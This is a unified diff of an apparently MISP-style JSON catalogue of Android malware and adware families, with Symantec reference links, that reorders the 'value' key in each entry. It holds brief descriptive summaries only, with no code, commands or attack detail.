"description": "Fakescarav is a Trojan horse for Android devices that displays fake security alerts in an attempt to convince the user to pay in order to remove non-existent malware or security risks from the device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2015-012809-1901-99"
]
},
- "uuid": "d52ff282-7b5c-427d-bc79-fbd686fb9ba3"
+ "uuid": "d52ff282-7b5c-427d-bc79-fbd686fb9ba3",
+ "value": "Fakescarav"
},
{
- "value": "Fakesecsuit",
"description": "Fakesecsuit is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-060514-1301-99"
]
},
- "uuid": "c23a04d3-5c38-4edc-b082-84c8997405ab"
+ "uuid": "c23a04d3-5c38-4edc-b082-84c8997405ab",
+ "value": "Fakesecsuit"
},
{
- "value": "Fakesucon",
"description": "Fakesucon is a Trojan horse program for Android devices that sends SMS messages to premium-rate phone numbers. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-120915-2524-99"
]
},
- "uuid": "942a4a67-875a-4273-845f-3d6845738283"
+ "uuid": "942a4a67-875a-4273-845f-3d6845738283",
+ "value": "Fakesucon"
},
{
- "value": "Faketaobao",
"description": "Faketaobao is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-062518-4057-99"
]
},
- "uuid": "ee83a04a-5ce2-41f9-b232-c274c25acd7e"
+ "uuid": "ee83a04a-5ce2-41f9-b232-c274c25acd7e",
+ "value": "Faketaobao"
},
{
- "value": "Faketaobao.B",
"description": "Faketaobao.B is a Trojan horse for Android devices that intercepts and and sends incoming SMS messages to a remote attacker. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-012106-4013-99"
]
},
- "uuid": "2d4899d5-d566-4058-b216-a5c37f601417"
+ "uuid": "2d4899d5-d566-4058-b216-a5c37f601417",
+ "value": "Faketaobao.B"
},
{
- "value": "Faketoken",
"description": "Faketoken is a Trojan horse that opens a back door on the compromised device. ",
"meta": {
"refs": [
@@ -1566,560 +1573,560 @@
"http://bgr.com/2017/08/18/android-malware-faketoken-steal-credit-card-info/"
]
},
- "uuid": "25feca2d-6867-4390-9d60-100b47d9d81a"
+ "uuid": "25feca2d-6867-4390-9d60-100b47d9d81a",
+ "value": "Faketoken"
},
{
- "value": "Fakeupdate",
"description": "Fakeupdate is a Trojan horse for Android devices that downloads other applications onto the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-081914-5637-99"
]
},
- "uuid": "e3eab046-a427-4132-99e7-f69598abcfd4"
+ "uuid": "e3eab046-a427-4132-99e7-f69598abcfd4",
+ "value": "Fakeupdate"
},
{
- "value": "Fakevoice",
"description": "Fakevoice is a Trojan horse for Android devices that dials a premium-rate phone number. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-040510-3249-99"
]
},
- "uuid": "aab42c7b-fe4e-483c-9db5-146f449c0937"
+ "uuid": "aab42c7b-fe4e-483c-9db5-146f449c0937",
+ "value": "Fakevoice"
},
{
- "value": "Farmbaby",
"description": "Farmbaby is a spyware application for Android devices that logs certain information and sends SMS messages to a predetermined phone number.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-090715-3641-99"
]
},
- "uuid": "97973daa-ece5-46ef-ac5b-a6ead8bddb97"
+ "uuid": "97973daa-ece5-46ef-ac5b-a6ead8bddb97",
+ "value": "Farmbaby"
},
{
- "value": "Fauxtocopy",
"description": "Fauxtocopy is a spyware application for Android devices that gathers photos from the device and sends them to a predetermined email address.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-111515-3940-99"
]
},
- "uuid": "1b316569-88c5-4f5a-874c-b3eb7f5a229d"
+ "uuid": "1b316569-88c5-4f5a-874c-b3eb7f5a229d",
+ "value": "Fauxtocopy"
},
{
- "value": "Feiwo",
"description": "Feiwo is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-4038-99"
]
},
- "uuid": "0e5a7148-d5ab-4428-bbec-55780a4fcdad"
+ "uuid": "0e5a7148-d5ab-4428-bbec-55780a4fcdad",
+ "value": "Feiwo"
},
{
- "value": "FindAndCall",
"description": "FindAndCall is a Potentially Unwanted Application for Android devices that may leak information.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-031020-2906-99"
]
},
- "uuid": "d49baeba-0982-4815-a30a-c6520424a44d"
+ "uuid": "d49baeba-0982-4815-a30a-c6520424a44d",
+ "value": "FindAndCall"
},
{
- "value": "Finfish",
"description": "Finfish is a Trojan horse for Android devices that opens a back door and steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-083016-0032-99"
]
},
- "uuid": "b17a7d6f-8a48-408d-9362-3be6fab1d464"
+ "uuid": "b17a7d6f-8a48-408d-9362-3be6fab1d464",
+ "value": "Finfish"
},
{
- "value": "Fireleaker",
"description": "Fireleaker is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-031814-5207-99"
]
},
- "uuid": "c8202616-804d-48c6-b104-466b3584f511"
+ "uuid": "c8202616-804d-48c6-b104-466b3584f511",
+ "value": "Fireleaker"
},
{
- "value": "Fitikser",
"description": "Fitikser is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-093015-2830-99"
]
},
- "uuid": "10ac6220-2f49-4b25-9024-15f83f18033e"
+ "uuid": "10ac6220-2f49-4b25-9024-15f83f18033e",
+ "value": "Fitikser"
},
{
- "value": "Flexispy",
"description": "Flexispy is a Spyware application for Android devices that logs the device's activity and sends it to a predetermined website. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-122006-4805-99"
]
},
- "uuid": "a24e855e-cd0c-4abd-b2d8-0eaec87bcae5"
+ "uuid": "a24e855e-cd0c-4abd-b2d8-0eaec87bcae5",
+ "value": "Flexispy"
},
{
- "value": "Fokonge",
"description": "Fokonge is a Trojan horse that steals information from Android devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-071802-0727-99"
]
},
- "uuid": "819bf929-01f0-447e-994c-e0e2f5a145c9"
+ "uuid": "819bf929-01f0-447e-994c-e0e2f5a145c9",
+ "value": "Fokonge"
},
{
- "value": "FoncySMS",
"description": "FoncySMS is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers. It may also connect to an IRC server and execute any received shell commands. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-011502-2651-99"
]
},
- "uuid": "917270d8-d7f3-432a-8c5c-28e7ea842f3e"
+ "uuid": "917270d8-d7f3-432a-8c5c-28e7ea842f3e",
+ "value": "FoncySMS"
},
{
- "value": "Frogonal",
"description": "Frogonal is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-062205-2312-99"
]
},
- "uuid": "c0c69286-1448-4a37-b047-7518d45a0b80"
+ "uuid": "c0c69286-1448-4a37-b047-7518d45a0b80",
+ "value": "Frogonal"
},
{
- "value": "Ftad",
"description": "Ftad is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040114-2020-99"
]
},
- "uuid": "4295a452-f24d-4a95-be3c-dc5f17606669"
+ "uuid": "4295a452-f24d-4a95-be3c-dc5f17606669",
+ "value": "Ftad"
},
{
- "value": "Funtasy",
"description": "Funtasy is a Trojan horse for Android devices that subscribes the user to premium SMS services. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-092519-5811-99"
]
},
- "uuid": "8e11e4fa-e8d5-485d-8ee8-61bf52bcde27"
+ "uuid": "8e11e4fa-e8d5-485d-8ee8-61bf52bcde27",
+ "value": "Funtasy"
},
{
- "value": "GallMe",
"description": "GallMe is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-1336-99"
]
},
- "uuid": "2086ef12-5578-496c-b140-433836b643ef"
+ "uuid": "2086ef12-5578-496c-b140-433836b643ef",
+ "value": "GallMe"
},
{
- "value": "Gamex",
"description": "Gamex is a Trojan horse for Android devices that downloads further threats. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051015-1808-99"
]
},
- "uuid": "fb63ab80-c198-48a8-a2f3-5fee516d8277"
+ "uuid": "fb63ab80-c198-48a8-a2f3-5fee516d8277",
+ "value": "Gamex"
},
{
- "value": "Gappusin",
"description": "Gappusin is a Trojan horse for Android devices that downloads applications and disguises them as system updates. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-022007-2013-99"
]
},
- "uuid": "65a95075-b79d-42ea-8a62-8390994fbed4"
+ "uuid": "65a95075-b79d-42ea-8a62-8390994fbed4",
+ "value": "Gappusin"
},
{
- "value": "Gazon",
"description": "Gazon is a worm for Android devices that spreads through SMS messages. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2015-030320-1436-99"
]
},
- "uuid": "77ea250b-d8aa-4477-8c74-93af056d8eee"
+ "uuid": "77ea250b-d8aa-4477-8c74-93af056d8eee",
+ "value": "Gazon"
},
{
- "value": "Geinimi",
"description": "Geinimi is a Trojan that opens a back door and transmits information from the device to a remote location. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-010111-5403-99"
]
},
- "uuid": "da751d6f-779e-4d87-99ad-9393cb72607d"
+ "uuid": "da751d6f-779e-4d87-99ad-9393cb72607d",
+ "value": "Geinimi"
},
{
- "value": "Generisk",
"description": "Generisk is a generic detection for Android applications that may pose a privacy, security, or stability risk to the user or user's Android device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-062622-1559-99"
]
},
- "uuid": "1f8573ad-c3ff-4268-83a5-c0a71f7b7944"
+ "uuid": "1f8573ad-c3ff-4268-83a5-c0a71f7b7944",
+ "value": "Generisk"
},
{
- "value": "Genheur",
"description": "Genheur is a generic detection for many individual but varied Trojans for Android devices for which specific definitions have not been created. A generic detection is used because it protects against many Trojans that share similar characteristics. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-032613-0848-99"
]
},
- "uuid": "5bcc7083-006b-428a-8952-aa34354e011e"
+ "uuid": "5bcc7083-006b-428a-8952-aa34354e011e",
+ "value": "Genheur"
},
{
- "value": "Genpush",
"description": "Genpush is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-033109-0426-99"
]
},
- "uuid": "1854c808-f818-416c-961a-ba582bf5f27c"
+ "uuid": "1854c808-f818-416c-961a-ba582bf5f27c",
+ "value": "Genpush"
},
{
- "value": "GeoFake",
"description": "GeoFake is a Trojan horse for Android devices that sends SMS messages to premium-rate numbers. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-040217-3232-99"
]
},
- "uuid": "4fa4e576-369a-4211-a1ea-4896aacfe4a7"
+ "uuid": "4fa4e576-369a-4211-a1ea-4896aacfe4a7",
+ "value": "GeoFake"
},
{
- "value": "Geplook",
"description": "Geplook is a Trojan horse for Android devices that downloads additional apps onto the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-121814-0917-99"
]
},
- "uuid": "ead163e7-c5b5-486f-b27d-629b26f6abdc"
+ "uuid": "ead163e7-c5b5-486f-b27d-629b26f6abdc",
+ "value": "Geplook"
},
{
- "value": "Getadpush",
"description": "Getadpush is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040112-0957-99"
]
},
- "uuid": "f41a08e2-5fc4-48ca-9cbc-9c7f0bce9b1f"
+ "uuid": "f41a08e2-5fc4-48ca-9cbc-9c7f0bce9b1f",
+ "value": "Getadpush"
},
{
- "value": "Ggtracker",
"description": "Ggtracker is a Trojan horse for Android devices that sends SMS messages to a premium-rate number. It may also steal information from the device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-062208-5013-99"
]
},
- "uuid": "d4aed5c2-4011-4b62-80c1-8cdc6e5b2fc5"
+ "uuid": "d4aed5c2-4011-4b62-80c1-8cdc6e5b2fc5",
+ "value": "Ggtracker"
},
{
- "value": "Ghostpush",
"description": "Ghostpush is a Trojan horse for Android devices that roots the compromised device. It may then perform malicious activities on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2015-100215-3718-99"
]
},
- "uuid": "9423457b-4660-4d27-916f-b6fd39628e17"
+ "uuid": "9423457b-4660-4d27-916f-b6fd39628e17",
+ "value": "Ghostpush"
},
{
- "value": "Gmaster",
"description": "Gmaster is a Trojan horse on the Android platform that steals potentially confidential information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-082404-5049-99"
]
},
- "uuid": "92955169-4734-47d5-adfe-e01003dc0768"
+ "uuid": "92955169-4734-47d5-adfe-e01003dc0768",
+ "value": "Gmaster"
},
{
- "value": "Godwon",
"description": "Godwon is a Trojan horse for Android devices that steals information. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-091017-1833-99"
]
},
- "uuid": "3787e5cf-49af-4105-a775-241c40aec377"
+ "uuid": "3787e5cf-49af-4105-a775-241c40aec377",
+ "value": "Godwon"
},
{
- "value": "Golddream",
"description": "Golddream is a Trojan horse that steals information from Android devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-070608-4139-99"
]
},
- "uuid": "fa2fe25b-247a-4675-ab85-a040200ff9a7"
+ "uuid": "fa2fe25b-247a-4675-ab85-a040200ff9a7",
+ "value": "Golddream"
},
{
- "value": "Goldeneagle",
"description": "Goldeneagle is a Trojan horse that steals information from Android devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-090110-3712-99"
]
},
- "uuid": "c0836a8b-b104-42e5-ba0c-261ae2f65c50"
+ "uuid": "c0836a8b-b104-42e5-ba0c-261ae2f65c50",
+ "value": "Goldeneagle"
},
{
- "value": "Golocker",
"description": "Golocker is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-062003-3214-99"
]
},
- "uuid": "28171041-ed65-4545-9e21-e6f925fd1688"
+ "uuid": "28171041-ed65-4545-9e21-e6f925fd1688",
+ "value": "Golocker"
},
{
- "value": "Gomal",
"description": "Gomal is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-101312-1047-99"
]
},
- "uuid": "666b5326-8552-481a-85ee-37cea031de9d"
+ "uuid": "666b5326-8552-481a-85ee-37cea031de9d",
+ "value": "Gomal"
},
{
- "value": "Gonesixty",
"description": "Gonesixty is a Trojan horse that steals information from Android devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-093001-2649-99"
]
},
- "uuid": "b153de8e-1096-4ff3-8c00-0dffe77574eb"
+ "uuid": "b153de8e-1096-4ff3-8c00-0dffe77574eb",
+ "value": "Gonesixty"
},
{
- "value": "Gonfu",
"description": "Gonfu is a Trojan horse that steals information from Android devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-060610-3953-99"
]
},
- "uuid": "b10ae730-e9d8-42f7-8970-77fde44733c2"
+ "uuid": "b10ae730-e9d8-42f7-8970-77fde44733c2",
+ "value": "Gonfu"
},
{
- "value": "Gonfu.B",
"description": "Gonfu.B is a Trojan horse that steals information from Android devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-030811-5215-99"
]
},
- "uuid": "0caf0b55-e4ee-4971-86f0-8968ecbec5cf"
+ "uuid": "0caf0b55-e4ee-4971-86f0-8968ecbec5cf",
+ "value": "Gonfu.B"
},
{
- "value": "Gonfu.C",
"description": "Gonfu.C is a Trojan horse for Android devices that may download additional threats on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-031817-3639-99"
]
},
- "uuid": "faf9c1dc-4efd-4e16-abf9-135839126b58"
+ "uuid": "faf9c1dc-4efd-4e16-abf9-135839126b58",
+ "value": "Gonfu.C"
},
{
- "value": "Gonfu.D",
"description": "Gonfu.D is a Trojan horse that opens a back door on Android devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-040414-1158-99"
]
},
- "uuid": "7ee57b0f-fc7c-424a-b3c7-e1a5a028ed8e"
+ "uuid": "7ee57b0f-fc7c-424a-b3c7-e1a5a028ed8e",
+ "value": "Gonfu.D"
},
{
- "value": "Gooboot",
"description": "Gooboot is a Trojan horse for Android devices that may send text messages to premium rate numbers. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-031818-3034-99"
]
},
- "uuid": "dedde091-a167-42bd-b47c-710381a5fc4f"
+ "uuid": "dedde091-a167-42bd-b47c-710381a5fc4f",
+ "value": "Gooboot"
},
{
- "value": "Goodadpush",
"description": "Goodadpush is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040108-0913-99"
]
},
- "uuid": "24d9abb7-67e6-4cd5-8f34-6fae58293134"
+ "uuid": "24d9abb7-67e6-4cd5-8f34-6fae58293134",
+ "value": "Goodadpush"
},
{
- "value": "Greystripe",
"description": "Greystripe is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-052919-2643-99"
]
},
- "uuid": "4e9b59a3-1b0b-4c94-bac2-22a9730cc1a0"
+ "uuid": "4e9b59a3-1b0b-4c94-bac2-22a9730cc1a0",
+ "value": "Greystripe"
},
{
- "value": "Gugespy",
"description": "Gugespy is a spyware program for Android devices that logs the device's activity and sends it to a predetermined email address.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-071822-2515-99"
]
},
- "uuid": "1d9c433a-9b8c-4ad7-b4b3-5a29137aca3b"
+ "uuid": "1d9c433a-9b8c-4ad7-b4b3-5a29137aca3b",
+ "value": "Gugespy"
},
{
- "value": "Gugespy.B",
"description": "Gugespy.B is a spyware program for Android devices that monitors and sends certain information to a remote location.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-070511-5038-99"
]
},
- "uuid": "3869692a-e24c-44ad-8f46-a0bd38c5bc5e"
+ "uuid": "3869692a-e24c-44ad-8f46-a0bd38c5bc5e",
+ "value": "Gugespy.B"
},
{
- "value": "Gupno",
"description": "Gupno is a Trojan horse for Android devices that poses as a legitimate app and attempts to charge users for features that are normally free. It may also display advertisements on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2015-072211-5533-99"
]
},
- "uuid": "2434d65f-7a96-4cf3-b3c7-d93d70be8907"
+ "uuid": "2434d65f-7a96-4cf3-b3c7-d93d70be8907",
+ "value": "Gupno"
},
{
- "value": "Habey",
"description": "Habey is a Trojan horse for Android devices that may attempt to delete files and send SMS messages from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-100608-4512-99"
]
},
- "uuid": "15109175-300b-42b1-bc59-2ad305cb2338"
+ "uuid": "15109175-300b-42b1-bc59-2ad305cb2338",
+ "value": "Habey"
},
{
- "value": "Handyclient",
"description": "Handyclient is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040307-5027-99"
]
},
- "uuid": "dc37a1f9-dec0-4ea0-94c6-450b26272e3d"
+ "uuid": "dc37a1f9-dec0-4ea0-94c6-450b26272e3d",
+ "value": "Handyclient"
},
{
- "value": "Hehe",
"description": "Hehe is a Trojan horse for Android devices that blocks incoming calls and SMS messages from specific numbers. The Trojan also steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-012211-0020-99"
]
},
- "uuid": "c9538896-1dd4-4d87-b89c-a0a019996b27"
+ "uuid": "c9538896-1dd4-4d87-b89c-a0a019996b27",
+ "value": "Hehe"
},
{
- "value": "Hesperbot",
"description": "Hesperbot is a Trojan horse for Android devices that opens a back door on the compromised device and may steal information. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-121010-1120-99"
]
},
- "uuid": "a642266c-b729-4009-8bd5-9cb06857cda7"
+ "uuid": "a642266c-b729-4009-8bd5-9cb06857cda7",
+ "value": "Hesperbot"
},
{
- "value": "Hippo",
"description": "Hippo is a Trojan horse that sends SMS messages to premium-rate phone numbers. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-071215-3547-99"
]
},
- "uuid": "bdf5533f-f05d-44cf-ad0c-c1db9689961f"
+ "uuid": "bdf5533f-f05d-44cf-ad0c-c1db9689961f",
+ "value": "Hippo"
},
{
- "value": "Hippo.B",
"description": "Hippo.B is a Trojan horse that sends SMS messages to premium-rate phone numbers. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-031915-0151-99"
]
},
- "uuid": "04d2d441-1a18-4921-96f1-56fc938e01ea"
+ "uuid": "04d2d441-1a18-4921-96f1-56fc938e01ea",
+ "value": "Hippo.B"
},
{
- "value": "IadPush",
"description": "IadPush is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040315-4104-99"
]
},
- "uuid": "d8dd9f88-4acf-4bbf-886b-6c48f2463109"
+ "uuid": "d8dd9f88-4acf-4bbf-886b-6c48f2463109",
+ "value": "IadPush"
},
{
- "value": "iBanking",
"description": "iBanking is a Trojan horse for Android devices that opens a back door on the compromised device and may steal information. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-030713-0559-99"
]
},
- "uuid": "531f750f-fe86-4548-a2e5-540fda864860"
+ "uuid": "531f750f-fe86-4548-a2e5-540fda864860",
+ "value": "iBanking"
},
{
- "value": "Iconosis",
"description": "Iconosis is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-062107-3327-99"
]
},
- "uuid": "71e19f13-ef09-44f2-a71b-ef39b2f02dbf"
+ "uuid": "71e19f13-ef09-44f2-a71b-ef39b2f02dbf",
+ "value": "Iconosis"
},
{
- "value": "Iconosys",
"description": "Iconosys is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-081309-0341-99"
]
},
- "uuid": "84480513-a52a-4de2-9869-1c886a6e8365"
+ "uuid": "84480513-a52a-4de2-9869-1c886a6e8365",
+ "value": "Iconosys"
},
{
- "value": "Igexin",
"description": "Igexin is an advertisement library that is bundled with certain Android applications. Igexin has the capability of spying on victims through otherwise benign apps by downloading malicious plugins,",
"meta": {
"refs": [
@@ -2131,2030 +2138,2030 @@
"IcicleGum"
]
},
- "uuid": "52c5f9b3-e9ed-4c86-b4a8-d4ebc68a4d7b"
+ "uuid": "52c5f9b3-e9ed-4c86-b4a8-d4ebc68a4d7b",
+ "value": "Igexin"
},
{
- "value": "ImAdPush",
"description": "ImAdPush is an advertisement library that is bundled with certain Android applications. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040323-0218-99"
]
},
- "uuid": "847d6c0e-d92e-4466-91b8-6fe2718c6031"
+ "uuid": "847d6c0e-d92e-4466-91b8-6fe2718c6031",
+ "value": "ImAdPush"
},
{
- "value": "InMobi",
"description": "InMobi is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-052713-1527-99"
]
},
- "uuid": "65e35c22-4a55-44ad-bd09-43f8a18d7e93"
+ "uuid": "65e35c22-4a55-44ad-bd09-43f8a18d7e93",
+ "value": "InMobi"
},
{
- "value": "Jifake",
"description": "Jifake is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-073021-4247-99"
]
},
- "uuid": "d32149d8-a20c-40eb-b486-7c3b3369bb9a"
+ "uuid": "d32149d8-a20c-40eb-b486-7c3b3369bb9a",
+ "value": "Jifake"
},
{
- "value": "Jollyserv",
"description": "Jollyserv is a Trojan horse for Android devices that sends SMS messages and steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-090311-4533-99"
]
},
- "uuid": "ee7faba5-6d35-49ff-af50-1ded1e42cc0b"
+ "uuid": "ee7faba5-6d35-49ff-af50-1ded1e42cc0b",
+ "value": "Jollyserv"
},
{
- "value": "Jsmshider",
"description": "Jsmshider is a Trojan horse that opens a back door on Android devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-062114-0857-99"
]
},
- "uuid": "5390586b-a224-4006-ab43-73ecdebe7892"
+ "uuid": "5390586b-a224-4006-ab43-73ecdebe7892",
+ "value": "Jsmshider"
},
{
- "value": "Ju6",
"description": "Ju6 is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-2428-99"
]
},
- "uuid": "7886d5bb-8318-427a-a5df-9dc2122d8f05"
+ "uuid": "7886d5bb-8318-427a-a5df-9dc2122d8f05",
+ "value": "Ju6"
},
{
- "value": "Jumptap",
"description": "Jumptap is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-052713-0859-99"
]
},
- "uuid": "ab353e23-22ef-44a8-80de-fe0ae609e571"
+ "uuid": "ab353e23-22ef-44a8-80de-fe0ae609e571",
+ "value": "Jumptap"
},
{
- "value": "Jzmob",
"description": "Jzmob is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-1703-99"
]
},
- "uuid": "941608bc-1fd5-473a-b4f7-a7f9763a4276"
+ "uuid": "941608bc-1fd5-473a-b4f7-a7f9763a4276",
+ "value": "Jzmob"
},
{
- "value": "Kabstamper",
"description": "Kabstamper is a Trojan horse for Android devices that corrupts images found on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-060706-2305-99"
]
},
- "uuid": "ff8e4fe3-12b3-4c3b-959e-82971821d8e9"
+ "uuid": "ff8e4fe3-12b3-4c3b-959e-82971821d8e9",
+ "value": "Kabstamper"
},
{
- "value": "Kidlogger",
"description": "Kidlogger is a Spyware application for Android devices that logs the device's activity and sends it to a predetermined website.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-122014-1927-99"
]
},
- "uuid": "89c13c33-8ec2-4bbe-9867-02ac9f0a7dad"
+ "uuid": "89c13c33-8ec2-4bbe-9867-02ac9f0a7dad",
+ "value": "Kidlogger"
},
{
- "value": "Kielog",
"description": "Kielog is a Trojan horse for Android devices that logs keystrokes and sends the stolen information to the remote attacker. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-040205-4035-99"
]
},
- "uuid": "324a5388-63f9-4ba8-aa5f-6a803be5e903"
+ "uuid": "324a5388-63f9-4ba8-aa5f-6a803be5e903",
+ "value": "Kielog"
},
{
- "value": "Kituri",
"description": "Kituri is a Trojan horse for Android devices that blocks certain SMS messages from being received by the device. It may also send SMS messages to a premium-rate number. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-061111-5350-99"
]
},
- "uuid": "d1c6c267-4c59-4cf9-a540-13d38b20d360"
+ "uuid": "d1c6c267-4c59-4cf9-a540-13d38b20d360",
+ "value": "Kituri"
},
{
- "value": "Kranxpay",
"description": "Kranxpay is a Trojan horse for Android devices that downloads other apps onto the device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-071009-0809-99"
]
},
- "uuid": "67f27518-6ec3-4723-8b4d-34d91a4d3a3e"
+ "uuid": "67f27518-6ec3-4723-8b4d-34d91a4d3a3e",
+ "value": "Kranxpay"
},
{
- "value": "Krysanec",
"description": "Krysanec is a Trojan horse for Android devices that opens a back door on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-090113-4128-99"
]
},
- "uuid": "736ebf9f-1868-45ea-94a5-d389f2d11588"
+ "uuid": "736ebf9f-1868-45ea-94a5-d389f2d11588",
+ "value": "Krysanec"
},
{
- "value": "Kuaidian360",
"description": "Kuaidian360 is an advertisement library that is bundled with certain Android applications. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040109-2415-99"
]
},
- "uuid": "0ec6ad4a-77ce-4c68-a349-1973bdc328f6"
+ "uuid": "0ec6ad4a-77ce-4c68-a349-1973bdc328f6",
+ "value": "Kuaidian360"
},
{
- "value": "Kuguo",
"description": "Kuguo is an advertisement library that is bundled with certain Android applications.",
